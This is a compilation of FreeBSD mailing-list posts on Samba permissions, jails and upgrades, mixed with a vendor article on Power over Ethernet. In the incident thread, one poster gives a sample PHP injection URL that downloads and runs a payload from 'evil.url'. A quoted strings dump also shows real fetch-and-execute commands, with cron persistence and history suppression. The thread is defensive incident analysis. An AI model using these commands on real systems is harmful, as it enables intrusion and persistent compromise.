Re: Can anyone reproduce this Samba problem?
Interestingly, if I turn off 'inherit permissions', then 'inherit owner' DOES take effect correctly. However, that means the sticky bit does not get inherited, which will not work for me. I need both to be inherited, and for some reason they are behaving mutually-exclusive (with 'inherit permissions' taking precedence). If I understood your problem correctly, you don't actually want to set sticky bit on the root directory, but suid - so the chmod would be like chmod 4xxx mydir In FreeBSD suid-bitted directory will make all the subdirs to inherit the owner. Sticky bit causes bit different behaviour - see sticky (8) and chmod(1) -Reko ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org

Will be better to upgrade to v 8 or downgroaded to 7.0-STABLE? Thanks! Well, of course 7.2-RELEASE runs stable, but it's not the STABLE branch. CURRENT is now FreeBSD 8. FreeBSD 8 is now in the last Beta stage, and will be ready to be released soon. So I'd update to FreeBSD 8 by updating world and using tag=RELENG_8 (see /usr/share/examples/cvsup/stable-supfile for more info) basically you'd copy this file to you root's home dir, and find tag=RELENG_7 (which indicates you would track the 7-STABLE branch) and replace it with tag=RELENG_8. Now follow the handbook to install and configure your kernel and update and install world. If you complete this step successfully, you'll have learned a lot about FreeBSD :-) You should recompile/update your ports afterwards too.

I uncommented uvisor in the kernel config file, installed the newer uvisor.c, rebuilt and installed the new kernel. Pressing the hotsync button did indeed create a /dev/cuaU0 but I had to add myself to the 'dialer' group to use it. Palm syncing now works again with jpilot! BTW, when might that newer uvisor.c be merged into the RELENG_8 sources? Thanks also to Roland. I already had add path 'usb/*' in my /etc/devfs.rules.

Re: what www perl script is running?
Hi Colin. I thought I'd just add my tuppence here. Some time ago I suffered a similar exploit, albeit on a Linux box, with Apache and a different PHP web app (Horde if I recall correctly). There are a number of ways your server could have been comprised via a PHP webapp, and a mailling list probably isn't the best place to give you a tutorial on the likes of cross-site scripting and code injection. What I can do is tell you roughly how my site was infected via a code injection - to give you an idea of how important it is to learn more about it if you are running a webserver (espescially one with third party web apps installed). In my case, I was able to learn quite a bit about how the exploit was performed by looking in my Apache logs. Primarily because the attack exploited an HTTP GET variable, so I could actually grep the name of the script that was download from the logs. Basically all it took was for someone to construct a URL similar to the following*: http://www.myserver.com/vulnerable_script.php?unchecked_variable=some_value; exec('wget http://evil.url/virus.pl -O /tmp/virus.pl'); exec('/tmp/virus.pl'); All it needs then is a bit of code on the server side which uses the GET variable verbatum to build a line of code without checking the variable. If the above variable were used in the construction of a line of PHP, in an (extra) unsafe manner, you would end up with several lines of PHP. Clearly building code from a user supplied variable is a very bad idea, and doing so without checking the variable... - however it isn't unheard of in the world of third party web apps (it isn't unheard of in in-house web apps either, however because that are not so widespread there is less chance that the exploit will be found, and probably less to gain from exploiting it). The attack against your server was almost certainly automated and most likely not even targetted at you. If you check your error logs, you will probably see lots of 'file not found' and similar errors, testing for vulnerabilities in ASP scripts and PHP web apps which you don't have installed - in much the same way that you will have SSH login failures for users who don't exist on your system. Using an incoming and outgoing firewall is clearly a must on a dedicated web server. Running an outgoing server on your desktop is a bit more complicated as you would probably want to allow certain applications to setup outgoing connections. I don't know how you do this on a FreeBSD system. However something that no one seems to have mentioned yet is running an application level firewall to protect your web server, this is particularly important if you are running popular third party web applications. Once a flaw has been found in a popular web app, it is very easily for the malware writers to attempt to exploit this on thousands of webservers. A web application firewall, such as Mod_Security for Apache (not sure what is available for lighttpd), will check the traffic to your HTTP server for any irregularities, known exploits and potential exploits. HTH Jeremy * the URL I wrote probably isn't even valid, it is just a demonstration, so just treat it as psuedocode. 2009/8/27 Colin Brace c...@lim.nl: Colin Brace wrote: ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Apropos of the contents of the above, a correspondent writes: [...] running 'strings' on /tmp/owned will show HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null echo '*/1 * * * * perl /tmp/tmpfile' cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 21 /dev/null perl /tmp/tmpfile 21 /dev/null [...] So this would be the original mischief-maker.

I have a couple of questions: When a jail is compromised, the only thing I have to do to recover the system is delete the jail and create a new one, correct? The host system is untouched even if a jail is compromised? Really depends on how you're using the jail, but under standard usage yes. And how does the upgrade process work? I know the userland must be the same for the host system and the jail. If I want to upgrade to, say, FreeBSD 8 when released, what is the process? I'd imagine it goes something like this, but I'm not sure: -Shut down jail -Upgrade host system -Install host binaries -Install jail binaries -Restart jail Or is there more to the process than what it seems? That's the basic process, however as mentioned before checkout ezjail. It makes administering multiple jails much easier and can save you disk space. Thanks again. Ok, thanks. Two more questions then I should be ready to go with my jail(s). In order to minimize the HDD space of the jail, can I add things in my src.conf such as WITHOUT_BOOT, WITHOUT_ACPI, WITHOUT_PF? I do use pf on the host system, but it isn't needed inside the jail as well, correct? Also, is it possible to compile a port (specifically nginx) inside the host, then simply cp it into the jail and run it? I'd like to do this to avoid installing a compiler into the jail itself.

Myths about Power Over Ethernet
Myths about Power Over Ethernet August 27, 2009 Power-over-Ethernet (PoE) technology integrates power and data across standard Cat5/5e/6 network cabling and provides more flexibility in today’s workplace. PoE enables power to be supplied to network devices, such as IP phones, network cameras, and wireless access points through a single, most often existing, network cable. When combined with an uninterruptable power supply (UPS) a PoE network delivers continuous operation and minimizes business downtime by eliminating most power interruptions. With the ability to install endpoints in any location PoE technology provides a scalable and flexible networking infrastructure geared for growth and efficiency. PoE Switches can provide all the power I need or will need. Today most switches are merely PoE-enabled. This means the majority rely on power management to share available power across the switch ports. The switches are designed with a smaller power supply that is typically capable of powering the switch itself and providing the required 15.4 watts of power over a limited number of ports. For example: A 24-port PoE Switch with power management typically has a 195-watt power supply. After the 40 watts needed to power the switch, you have approximately 155 watts remaining. If 12 of the 24 ports are used to connect end devices using 11.5 watts each, you would only have 17 watts remaining to provide power on the last 12 ports. The math doesn’t match the ports: 195W – 40W (switch) – 138 (12 devices @ 11.5W/ea) = 17W left for power on 12 ports Myth Busted: A PoE Switch is often not the best and most cost effective solution. A midspan and a PoE switch are the same. A PoE Midspan is not a switch. A Midspan is an additional PoE power source that can be used to offer full power to all endpoint devices. PoE Midspans (Power Hub or Power Injector) pass data from a switch and ‘inject’ safe power acting as a patch panel of sorts. Midspans are commonly used with either a non-PoE switch, an existing PoE switch, or a new PoE switch in a network. In addition to offering full power across all available ports, midspans costs substantially less per port and overall than a new PoE enabled switch. Myth Busted: Midspans do not switch – they make use of existing best-in-class switches. They inject safe power across all ports and cost less than PoE switches. . Only a switch that has PoE built in should be used to power devices like IP Phones, Access Points, and IP Security Cameras. Switches were designed to, well, switch. PoE Switches are designed with power management and have to distribute different power as required to ports but there is often not enough power for all devices plus the power required to complete the primary task - switching. Networks that have multiple devices like IP phones, IP cameras, wireless access points quickly go beyond the limited capacity of managed power PoE switches. As more PoE devices continue to grow in capabilities and market share this managed power limitation will become more and more evident. Midspans, in contrast to switches, were designed to provide full power on every port and deliver safe and reliable power based on the industry standards (IEEE802.3af/at). Myth Busted: Rather than relying on power management in a switch use a midspan that can deliver full power (15.4W) to every port for all PoE-enabled devices now and in the future. Ethernet devices not PoE-enabled (non 802.3af/at compliant) cannot be powered using PoE technology. Many devices do not directly accept Power-over-Ethernet but can still use PoE technology. If the device uses less than 12.5 watts (802.3af) or less than 50 watts (802.3at+) and connects to an IP Ethernet network you can use a PoE splitter. PoE splitters enable you to accept PoE power from any IEEE 802.3af/at compliant switch or midspan then separates the data and power on to two seprate cables. The data is connected to the end device through a standard RJ45 plug while the power is connected using a standard 5.5 x 2.1 x 12mm Adapter Plug. Splitters can also convert the input voltage to the required voltage for a non-PoE device. Splitters are traditionally used with older network products which only accept power through their (DC) jack and data through their RJ-45 jack. Myth Busted: PoE splitters can be used in conjunction with PoE midspans and switches to provide both the data connectivity and power required by most endpoint devices. I need/will need additional PoE switch ports to power my IP cameras and high-power pan, tilt, and zoom (PTZ) cameras. Today, many devices have evolved into more advanced solutions with higher power requirements. The traditional approach was to endure a “forklift upgrade”. This meant buying new PoE switches at considerable cost and physically swapping out the existing switches to meet higher power requirements or add more powered ports.
Re: Can anyone reproduce this Samba problem?
On Thu, Aug 27, 2009 at 2:30 AM, Reko Turjareko.tu...@liukuma.net wrote: Interestingly, if I turn off 'inherit permissions', then 'inherit owner' DOES take effect correctly. However, that means the sticky bit does not get inherited, which will not work for me. I need both to be inherited, and for some reason they are behaving mutually-exclusive (with 'inherit permissions' taking precedence). If I understood your problem correctly, you don't actually want to set sticky bit on the root directory, but suid - so the chmod would be like chmod 4xxx mydir In FreeBSD suid-bitted directory will make all the subdirs to inherit the owner. Sticky bit causes bit different behaviour - see sticky (8) and chmod(1) I want both the owner AND the sticky bit to be inherited. That is my dilemma. The sticky bit is necessary in my case because I do not want anyone but the owner to modify a file once created. And further, I am setting the owner to 'nobody' so this means *no* user can modify a file once created, not even files they themselves created. That is exactly the point of this share I'm trying to create. This directory will be open to many users, via a public share, with no passwords. I want everyone to be able to create new files/dirs in this share, but I do not want anyone to be able to rename/delete/modify/overwrite/etc. *any* files once created. I am trying to avoid using SUIDDIR (see my email), though I realize that is an option. If I cannot make Samba's 'inherit owner' option work on FreeBSD, that may be my only choice. Regardless of that, I would like to determine if this is a Samba bug or not, and which versions are affected, if so. However, even if I were to use SUIDDIR, I would still need the sticky bit to prevent modifications to files. Unless I am missing something, of course (: -John ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: Information on Setting up a Jailed Webserver
Le 26/08/2009 à 22:59:34-0400, APseudoUtopia a écrit Hello, I have a small site which runs PostgreSQL, Nginx, and PHP. I'm looking into running nginx inside a jailed host on my server for security reasons (eg, if there is a hole in a php script). The website root is actually a working copy of my subversion repository. I have svnserve running through OpenVPN. My plan would be to have svnserve and OpenVPN running on the main system, and nginx/php running inside a jail. I was wondering if it would be somehow possible to run a command on the main system that updates the svn working copy inside the jail for nginx to serve. Would I need to do the svn up over tcp/ip from the jail to the main system? Or can I somehow update it via file://path/to/main/repo? I've never used or setup a jail before, so IMHO that's bad idea. Someday you maybe want to put your website in other machine, maybe you want to have two server to duplicate your website (just need rsync). If you want update you svn repository you can put in your subversion server in the hook-scripts something like wget http://your_website/some_where/update_repo /dev/null and in your web serveur (jail or not) you create some script update_repo with cd /your_web_site_dir svn up You can add some deny in your apache conf to authorized only your svn serveur to make the wget Also, how memory-intensive is a jail? I'm willing to run postgresql in If you have only 32Mo you can have some problem ;-) I run almost ~20 jail server on one physical server without any problem.

There are two probabilities: 1) A cabling problem 2) This is PATA and you have a hard disk at the same cable. In case of 1), check or replace the cables, make sure that the OS is set up for UDMA to the drive (this requires a 80 wire cable - unfortunately the drive manufacturers deliver only 40 wire cable). In case of 2) use the -immed option.
